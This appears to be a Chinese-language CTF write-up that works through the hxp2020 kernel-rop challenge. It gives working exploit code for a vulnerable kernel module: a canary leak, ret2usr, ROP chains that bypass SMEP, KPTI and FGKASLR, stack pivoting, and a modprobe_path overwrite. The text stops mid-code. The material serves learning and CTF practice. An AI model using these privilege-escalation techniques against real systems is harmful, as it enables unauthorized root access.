Linux Kernel-Pwn Learning

Kernel ROP

学习Linux kernel Pwn的第一次尝试,hxp2020: kernel-rop

Thanks @Midas for so great tutorials !

将附件解压得到以下文件:

  • initramfs.cpio.gz:压缩的文件系统,诸如/bin/etc… 都被放入这里。其中也可能包含有漏洞的模块
  • vmlinuz:压缩的Linux kernel镜像,我们可以从中提取出kernel ELF文件。
  • run.sh:运行kernel的shell脚本,我们可以在这里更改内核的启动选项。为了正常运行我们需要提前安装qemu

其他文件Dockerfileyneted等都是帮助我们搭建本地服务环境的。

1
./extract-image.sh ./vmlinuz > vmlinux

提取内核ELF文件到vmlinux

下一步,我们要提取kernel中的gadget,但是由于kernel很大,使用ROPgadget需要几分钟的时间。所以,我们提前将所有gadget放入文件中。

1
ROPgadget --binary ./vmlinux > gadgets.txt

这可能需要很久。可以用ropper,听说会更快。

使用脚本将其解压

1
2
3
4
5
6
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

解压后的文件系统在initramfs文件夹中,其中有一个hackme.ko的驱动。很明显我们要利用它。

解压文件系统的另一个目的是更改其中的一些设置,便于我们在后面对一些文件的访问。在/etc的文件中,找到这样的命令并修改它,本题中为inittab文件

1
2
3
setuidgid 1000 /bin/sh
# Modify it into the following
setuidgid 0 /bin/sh

在完成利用后,我们要把它切换回1000

在修改完成后我们要将其压缩回去,使用compress.sh

1
2
3
4
5
6
7
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../

前两行是编译我们的exp,把它加入到文件系统中。

在很多教程中,都使用了busybox模拟文件系统。如果题目提供了文件系统,也可以使用这种直接解压的方式。两种方式所要达到的目的是一样的,按个人习惯选择即可。脚本经过修改都是通用的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
  • -m:指定内存大小,如果不能启动可以尝试增加内存
  • -cpu:指定cpu的模式,+smep+smap是一些保护机制
  • -kernel:指定内核镜像文件
  • -initrd:指定文件系统文件
  • -append:指定其他一些启动选项,包括一些保护机制

加入-s选项,我们可以在本地的1234端口进行调试。

1
2
$ gdb vmlinux
(gdb) target remote localhost:1234

调试内核,首先需要一个断点。使用lsmod可以列出所有加载的模块,及其基址(root权限)。如果没有想要的模块可以使用insmod加载指定的模块。用rmmod卸载指定模块。

经过IDA静态分析使用base + offset的方式断在我们想要的地方。但是内核对象很特殊,或者说目前的工具对内核的调试支持并不是十分完美。当然,windbg对内核调试的支持很好。所以,你下的断点是很有可能有断不下来的情况。另外,内核在单步调试时极有可能出现跑飞的现象,停在一个你不知道的地方。使用si可以一定程度上避免这样。而这就要求我们必须将断点下的更加有针对性。

gdb还有可能将函数名进行错误识别,都是正常情况。

  • Kernel stack cookies(canary):内核栈的canary保护。

  • Kernel address space layout randomization(KASLR):内核地址随机化;与用户态的ASLR一样,将内核地址随机加载。

  • Function Granular KASLR: 与用户态不同的是,内核态的函数相对于基址的偏移在加载时也被随机化了。在开启FGKASLR后,内核有一小部分的数据偏移是确定的。

    个人理解:要想对所有的数据进行如此强度的随机化是不可能的,内核也是程序,在程序运行过程中,总有一些关于加载的数据需要访问,这部分数据必须要让内核准确的知道其所在的地址。那么,这部分数据就是不能随机化的。

  • Supervisor mode execution protection(SMEP):当进程属于内核态时,所有的用户空间的页在页表中都被标记为不可执行。在kernel中,通过将CR4寄存器的20th bit置位来使能。在启动时,通过在-cpu+smep来启用,在-append的中加入nosmep来禁用。

  • Supervisor Mode Access Prevention (SMAP)SMEP的补充。在内核态时,用户空间的任何页面都是不可访问的。在kernel中,通过将CR4寄存器的2th bit置位来使能。在启动时,通过在-cpu+smap来启用,在-append的中加入nosmap来禁用。

  • Kernel page-table isolation(KPTI):当这个机制使能时,内核将用户空间和内核空间的页表完全分开。此时,内核态的页表拥有内核空间和用户空间的页,用户态的页表包含了用户空间和最小的内核空间。它可以通过在-append选项下添加kpti=1nopti来启用/禁用。

内核模块(驱动)也是ELF文件,我们在IDA中进行分析。

init_module注册了一个名为hackme的设备,包含以下操作:hackme_readhackme_writehackme_openhackme_release。我们可以通过open("/dev/hackme")来与之交互,调用它注册的操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 __fastcall hackme_read(__int64 a1, __int64 user_buf)
{
  unsigned __int64 v2; // rdx
  unsigned __int64 size; // rbx
  bool v4; // zf
  unsigned __int64 result; // rax
  _QWORD buf[20]; // [rsp-A0h] [rbp-A0h] BYREF

  _fentry__(a1, user_buf);
  size = v2;                                    // from 3rd arg
  buf[16] = __readgsqword(0x28u);
  _memcpy(&hackme_buf, buf, v2);
  if ( size > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(&hackme_buf, size, 1LL);
  v4 = copy_to_user(user_buf, &hackme_buf, size) == 0;
  result = -14LL;
  if ( v4 )
    result = size;
  return result;
}

unsigned __int64 __fastcall h_write(__int64 a1, __int64 user_buf, unsigned __int64 size)
{
  char buf[128]; // [rsp+0h] [rbp-98h] BYREF
  unsigned __int64 v6; // [rsp+80h] [rbp-18h]

  v6 = __readgsqword(0x28u);
  if ( size > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(&hackme_buf, size, 0LL);
  if ( copy_from_user(&hackme_buf, user_buf, size) )
    return -14LL;
  _memcpy(buf, &hackme_buf, size);
  return size;
}

漏洞很明显,我们可以从内核栈上读写最多0x1000的数据,这造成了溢出。

我们从最简单的开始学习,在用户态,当ASLRNX都关闭时,我们可以想到常用的利用方式ret2shellcode。同样,当关闭几乎所有的保护后我们也可以返回到自己写的代码中。这个过程在内核态执行用户空间的代码,所以被称为ret2usr

在开始之前,修改run.sh除去+smep+smapkpti=1kaslr并添加noptinokaslr

在交互之前我们需要打开设备。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int global_fd;	// 为了让其他函数能与设备交互

void open_dev() {
    global_fd = open("/dev/hackme", O_RDWR);
	if (global_fd < 0) {
		puts("[!] Failed to open device");
		exit(-1);
	} else {
        puts("[*] Opened device");
    }
}

因为还有栈保护,所以还要先leak canary信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
unsigned long canary;

void leak(void){
    unsigned n = 20;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    canary = leak[16];

    printf("[*] Leaked %zd bytes\n", r);
    printf("[*] Cookie: %lx\n", canary);
}

下面我们就要覆盖返回地址了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = canary;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = (unsigned long)pwned_addr; // ret

    puts("[*] Prepared payload");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

在用户态下我们的目的往往是执行system("/bin/sh")等,用来获取一个shell。在内核中,我们已经get shell了,但是权限却只是普通用户。我们需要得到一个root shell,来完全控制这个系统。

Linux系统下,每个进程拥有其对应的struct cred,用于记录该进程的uid。内核exploit的目的,便是修改当前进程的cred,从而提升权限。当然,进程本身是无法篡改自己的cred的,我们需要在内核空间中,通过以下方式来达到这一目的:

1
commit_creds(prepare_kernel_cred(0));

其中,prepare_kernel_cred()创建一个新的cred,参数为0则将cred中的uid, gid设置为0,对应于root用户。随后,commit_creds()将这个cred应用于当前进程。此时,进程便提升到了root权限。

为此,我们需要寻找这两个函数的地址。因为KASLR被禁用了,我们以root权限启动的内核,可以通过打开/proc/kallsyms,来找到所有内核函数的地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/ # cat /proc/kallsyms |grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred

这样我们就可以编写自己的shellcode了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void pwned_addr(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
	    "call rax; mov rdi, rax;"
	    "movabs rax, 0xffffffff814c6410;" //commit_creds
	    "call rax;"
        ...
        ".att_syntax;"
    );
}

现在我们写的exp,是没有办法获得root权限的。原因是,内核态和用户态是隔离的,当我们执行shellcode时,我们还在内核态,它不会把结果给用户,它没有返回。所以,我们需要其返回用户态。

这里要再讲一下,用户态与内核态之间的切换。当用户态主动进入内核时(系统调用、异常),就会陷入内核态,此时有特权级的提升,涉及到堆栈的切换。首先,要保存user_ss(segment selector)user_spuser_flagsuser_csuser_ip以及err等信息。在返回的时候要恢复这些寄存器的值。

对于我们的shellcode,在开始之前也要先保存这些信息,以便在返回的时候让系统走正常的流程。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned long user_cs,user_ss,user_sp,user_rflags,user_rip;
void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

没有直接操作标志寄存器的方法,所以使用了pushf。另外,我们返回时需要恢复这些值,同时还要恢复gs的值。gs寄存和fs寄存器都是附件段的段寄存器,这些寄存器的具体作用由系统来决定,在Linux中,gs指向TLS结构,通过这个我们可以获取内核堆栈地址等重要信息。在返回时,我们要通过swapgs将其切换回用户态的gs。返回要使用iret

iret指令会按顺序依次弹出eipcs以及eflag的值到特定寄存器中,然后从新的cs:ip处开始执行。如果特权级发生改变,则还会在弹出eflag后再依次弹出spss寄存器值。

修改shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned long user_rip = (unsigned long)get_shell;

void pwned_addr(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
	    "call rax; mov rdi, rax;"
	    "movabs rax, 0xffffffff814c6410;" //commit_creds
	    "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

最后,我们的脚本

1
2
3
4
5
6
7
8
int main() {
    save_state();
    open_dev();
    leak();
    overflow();  
    puts("[!] Should never be reached");
    return 0;
}

result:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./exploit 
[*] Saved state
[*] Opened device
[*] Leaked 160 bytes
[*] Cookie: 6b6c612b1bbb5500
[*] Prepared payload
[*] Returned to userland
[*] UID: 0, got root!
/ # id
uid=0 gid=0
/ # cat /dev/s
sda       sg0       sg1       snapshot  sr0
/ # cat /dev/sda
hxp{t0p_d3feNSeS_Vs_1337_h@ck3rs}

下面增加难度,开启SMEP缓解机制。在这之后,所有的用户空间页在内核态都是不可执行的。这使得我们的shellcode无法在内核态执行,ret2usr失效了。我们的目的依然没有变化,在内核态执行commit_creds(prepare_kernel_cred(0))

此时,我们有两种思路:

  • SMEP由CR4寄存器控制,我们改写CR4的第20比特,使SMEP失效;
  • 在内核中寻找gadget构造ROP链,并返回。

理论上,我们可以使用native_write_cr4()改变CR4的值,这个方法很简单直接。但是,人们也注意到了这让内核陷入无比危险的境地。所以,内核在启动时会将CR4固定,如果试图改变就会触发错误。a documentation on CR4 bits pinning

这种方法不可行。

我们需要以下功能:

  • prepare_kernel_cred(0)
  • commit_creds()
  • swapgs;ret
  • 恢复寄存器,iretq

寻找gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
0xffffffff81006370 : pop rdi ; ret
0xffffffff8150b97e : pop rsi ; ret
0xffffffff81007616 : pop rdx ; ret
0xffffffff815f4bbc : pop rcx ; ret
0xffffffff81004d11 : pop rax ; ret
0xffffffff81006158 : pop rbx ; ret
0xffffffff8144591b : pop r13 ; ret
0xffffffff8100636d : pop r12 ; pop r15 ; ret
0xffffffff8100636f : pop r15 ; ret

0xffffffff8100a55f : swapgs ; pop rbp ; ret
0xffffffff8100c0d9:	48 cf                	iretq
0xffffffff8166fea3 : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
0xffffffff8166ff23 : mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret

0xffffffff816bfe27 : cmp rdi, rsi ; jne 0xffffffff816bfdfa ; pop rbp ; ret
*/
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rsi_ret = 0xffffffff8150b97e;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3;
unsigned long cmp_rdi_rsi_jne_pop_ret = 0xffffffff816bfe27;
1
2
$ objdump -j .text -d ./vmlinux | grep iretq | head -1
ffffffff8100c0d9:	48 cf                	iretq 

有时ROPgadget找到的gadget并不在可执行区,我们需要再找其他的gadget。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    payload[off++] = canary;
    payload[off++] = 0x0;                 // rbx
    payload[off++] = 0x0;                 // r12
    payload[off++] = 0x0;                 // rbp
    payload[off++] = pop_rdi_ret;         // return address
    payload[off++] = 0x0;                 // rdi <- 0
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = pop_rdi_ret;
    payload[off++] = 0x1; // rdi <- 1
    payload[off++] = pop_rsi_ret;
    payload[off++] = 0x1; // rsi <- 1
    payload[off++] = cmp_rdi_rsi_jne_pop_ret;
    payload[off++] = 0x0;                      // dummy rbp
    payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    payload[off++] = 0x0;                      // dummy rbx
    payload[off++] = 0x0;                      // dummy rbp
    payload[off++] = commit_creds;    // commit_creds(prepare_kernel_cred(0))
    payload[off++] = swapgs_pop_ret; // swapgs
    payload[off++] = 0x0;             // dummy rbp
    payload[off++] = iretq;           // iretq frame
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

我们再加大一些难度假设另一种情况:溢出的长度不足以写入完整的ROP链。此时,就要进行栈迁移。

我们可以找到这样的gadget

1
0xffffffff810062dc : mov rsp, rbp ; pop rbp ; ret

rbp在我们返回的时候就已经可以控制了,所以只要申请一块内存并控制其内容就可以了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void build_fake_stack(void){
    fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    unsigned off = 0x1000 / 8;
    fake_stack[0] = 0xdead; // put something in the first page to prevent fault
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = pop_rdi_ret;         // return address
    fake_stack[off++] = 0x0;                 // rdi <- 0
    fake_stack[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    fake_stack[off++] = pop_rdi_ret;
    fake_stack[off++] = 0x1; // rdi <- 1
    fake_stack[off++] = pop_rsi_ret;
    fake_stack[off++] = 0x1; // rsi <- 1
    fake_stack[off++] = cmp_rdi_rsi_jne_pop_ret;
    fake_stack[off++] = 0x0;                      // dummy rbp
    fake_stack[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    fake_stack[off++] = 0x0;                      // dummy rbx
    fake_stack[off++] = 0x0;                      // dummy rbp
    fake_stack[off++] = commit_creds;    // commit_creds(prepare_kernel_cred(0))
    fake_stack[off++] = swapgs_pop_ret; // swapgs
    fake_stack[off++] = 0x0;             // dummy rbp
    fake_stack[off++] = iretq;           // iretq frame
    fake_stack[off++] = user_rip;
    fake_stack[off++] = user_cs;
    fake_stack[off++] = user_rflags;
    fake_stack[off++] = user_sp;
    fake_stack[off++] = user_ss;
}

这里0x5b000000 - 0x1000是为了让栈有增长的空间,以顺利的执行其他函数。

有了KPTI用户空间页表与内核空间页表隔离开。我们从内核态直接使用iretq返回,没有切换页表。所以当用户态的程序想要执行时会造成段错误。这里有两种方法进行bypass:

  • 执行正常返回应该执行的函数。
  • 使用信号处理:在Linux中,我们可以注册信号处理函数。在Segmentation fault时,内核会向进程发送一个SIGSEGV信号。一般情况下,这个信号使程序进行异常处理,异常处理的程序在内核代码中,最终结果是杀死这个进程。如果我们注册了处理服务,内核在处理时就会回到用户态!这正达成了我们的目的。

正常返回时会调用的函数为swapgs_restore_regs_and_return_to_usermode。我们通过/proc/kallsyms得到它的地址。

1
2
/ # cat /proc/kallsyms |grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

这个函数在ida中是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89
...

前面多出了很多pop xxx这无疑会加长我们的ROP链,所以我们可以从swapgs_restore_regs_and_return_to_usermode+22开始。

还有一些值得关注的地方。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89                               pop     rax
.text:FFFFFFFF81200F8A                               pop     rdi
.text:FFFFFFFF81200F8B                               call    cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91                               jmp     cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                 retn
...
.text:FFFFFFFF8120102E                               mov     rdi, cr3
.text:FFFFFFFF81201031                               jmp     short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067                               or      rdi, 1000h
.text:FFFFFFFF8120106E                               mov     cr3, rdi
...
.text:FFFFFFFF81200FC7                               iretq

jmp short loc_FFFFFFFF81200F89后,有两个多的pop所以我们要体现布置好填充。

1
2
3
4
5
6
7
8
9
    payload[off++] = commit_creds;    // commit_creds(prepare_kernel_cred(0))
    payload[off++] = kpti_pass; // swwapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0;           // dummy rax
    payload[off++] = 0;           // dummy rdi
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

保持原来的payload不变,在main中进行处理函数注册signal(SIGSEGV, get_shell);

绝妙的主意!

添加SMAP后用户态的页面无法被访问,这并没有影响我们的ROP。但是栈迁移无法被使用,我们无法将栈劫持到用户空间。

目前绕过的技术仍然未知。TODO

现在,我们面对完整的挑战了!

如果仅仅使用KASLR我们可以在栈上泄露内核的基址并通过偏移找到其他所有函数。这没有增加太大的困难。在FGKASLR下,即使我们知道了内核的基址,其他函数的偏移依然无法确定。

运行多次并查看/proc/kallsyms,发现每次偏移都不同,则开启的FGASLR

FGKASLR下有一些偏移是不变的:

  • _text__x86_retpoline_r15,即_text+0x400dc6
  • swwapgs_restore_regs_and_return_to_usermode没有变化
  • ksymtab地址,该结构记录其他所有函数的地址信息。我们可以从中得到prepare_kernel_credcommit_creds
1
2
3
4
5
struct kernel_symbol {
	  int value_offset;		// funcxx_addr = ksymtab_funcxx_addr + value_offset
	  int name_offset;
	  int namespace_offset;
};

寻找能使用的gadget。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81f87d90 r __ksymtab_commit_creds

0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret

0xffffffff81004d11 : pop rax ; ret
0xffffffff81006370 : pop rdi ; ret
0xffffffff81007616 : pop rdx ; ret
0xffffffff81006158 : pop rbx ; ret
0xffffffff8100636d : pop r12 ; pop r15 ; ret
0xffffffff8100636f : pop r15 ; ret
0xffffffff8100636e : pop rsp ; pop r15 ; ret
*/

void leak(void)
{
    unsigned n = 40;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    canary = leak[16];
    kernel_base = leak[38] - 0xa157ULL;
    kpti_pass = kernel_base + 0x200f10ULL + 22ULL;
    pop_rax = kernel_base + 0x4d11ULL;
    pop_rdi = kernel_base + 0x6370ULL;
    pop_rdx = kernel_base + 0x7616ULL;
    pop_rbx = kernel_base + 0x6158ULL;
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fcULL;
    ksymtab_commit_creds = kernel_base + 0xf87d90ULL;
    read_mrax_pop = kernel_base + 0x15a7fULL;

    printf("[*] Leaked %zd bytes\n", r);
    printf("[*] Cookie: %lx\n", canary);
}

通过mov rax, qword ptr [rax]可以将value_offset读出,放入到rax中,之后返回用户态,将rax的存入变量中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    payload[off++] = canary;
    payload[off++] = 0x0;                 // rbx
    payload[off++] = 0x0;                 // r12
    payload[off++] = 0x0;                 // rbp
    payload[off++] = pop_rax;             // return address
    payload[off++] = ksymtab_commit_creds;                 
    payload[off++] = read_mrax_pop;   		// rax <-- [rax]
    payload[off++] = 0x0;                 //dummy rbp
    payload[off++] = kpti_pass; 		// swapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0;           	// dummy rax
    payload[off++] = 0;           	// dummy rdi
    payload[off++] = (unsigned long)get_commit_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

void get_prepare_kernel_cred()
{
        __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("    --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
    call_prepare_kernel_cred();
}

泄露的payload结构如上,虽然,kpti_pass有会pop rax但是在返回后其值依然会恢复。

在我们泄露地址后,之后就是常规的ROP。在commit_creds返回creds后,依然要将其保存。因为之前进行rax --> rdi的gadget都不能用了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    payload[off++] = canary;
    payload[off++] = 0x0;                 // rbx
    payload[off++] = 0x0;                 // r12
    payload[off++] = 0x0;                 // rbp
    payload[off++] = pop_rdi;             // return address
    payload[off++] = 0;                 // rdi <- 0
    payload[off++] = prepare_kernel_cred;   // prepare_kernel_cred(0)
    payload[off++] = kpti_pass; // swwapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0;           // dummy rax
    payload[off++] = 0;           // dummy rdi
    payload[off++] = (unsigned long)get_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./exploit 
[*] Saved state
[*] Opened device
[*] Leaked 320 bytes
[*] Cookie: a230d00be9113d00
[*] Prepared leak_commit_creds pa
    --> commit_creds: ffffffffb2a
[*] Prepared leak_prepare_kernel_
    --> prepare_kernel_cred: ffff
[*] Prepared call_prepare_kernel_
[*] get cred
[*] Prepared call_commit_creds pa
[*] Returned to userland
[*] UID: 0, got root!
/ # id
uid=0 gid=0
/ # cat /dev/sda
hxp{t0p_d3feNSeS_Vs_1337_h@ck3rs}

什么是modprobe?

modprobe is a Linux program originally written by Rusty Russell and used to add a loadable kernel module to the Linux kernel or to remove a loadable kernel module from the kernel”

当我们安装或卸载一个内核模块时,modprobe就会被执行。而其默认路径modprobe_path就是/sbin/modprobe

可以通过以下命令查看:

1
2
/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe

modprobe_path是一个全局变量,这意味着,我们可以通过/proc/kallsyms得到它。

当我们执行一个未知类型的文件,modprobe_path指向的文件就会被执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static int call_modprobe(char *module_name, int wait)
{
    ...
  	argv[0] = modprobe_path;
  	argv[1] = "-q";
  	argv[2] = "--";
  	argv[3] = module_name;
  	argv[4] = NULL;

  	info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
					 NULL, free_modprobe_argv, NULL);
    ...
}

如果,将路径覆盖指向我们编写的shell脚本,就实现了以root权限执行任意脚本的目的。

第一步,首先泄露地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    canary = leak[16];
    kernel_base = leak[38] - 0xa157ULL;
    kpti_pass = kernel_base + 0x200f10ULL + 22ULL;
    pop_rax = kernel_base + 0x4d11ULL;
    pop_rdi = kernel_base + 0x6370ULL;
    pop_rdx = kernel_base + 0x7616ULL;
    pop_rbx = kernel_base + 0x6158ULL;
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fcULL;
    ksymtab_commit_creds = kernel_base + 0xf87d90ULL;
    read_mrax_pop = kernel_base + 0x15a7fULL;
    modprobe_path = kernel_base + 0x1061820ULL;
    write_mrbx_rax_pop2 = kernel_base + 0x306dULL;
//0xffffffff8100306d : mov qword ptr [rbx], rax ; pop rbx ; pop rbp ; ret

与之前的并没有太大差别。这次要写内存,所以要找一个新gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    payload[off++] = canary;
    payload[off++] = 0x0;                 // rbx
    payload[off++] = 0x0;                 // r12
    payload[off++] = 0x0;                 // rbp
    payload[off++] = pop_rax;             // return address
    payload[off++] = 0x782f706d742f; 	// rax <- "/tmp/x";   
    payload[off++] = pop_rbx; 
    payload[off++] = modprobe_path;              
    payload[off++] = write_mrbx_rax_pop2;   // [rbx] <-- rax
    payload[off++] = 0x0;                 //dummy rbp
    payload[off++] = 0x0; 
    payload[off++] = kpti_pass; // swwapgs_restore_regs_and_return_to_usermode
    payload[off++] = 0;           // dummy rax
    payload[off++] = 0;           // dummy rdi
    payload[off++] = (unsigned long)get_flag;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

下一步,我们要让创建一个未知类型的文件,让系统执行,这样系统就会去执行我们的/tmp/x。所以我们的脚本要读出flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void get_flag(void){
    puts("[*] Returned to userland, setting up for fake modprobe");
    
    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
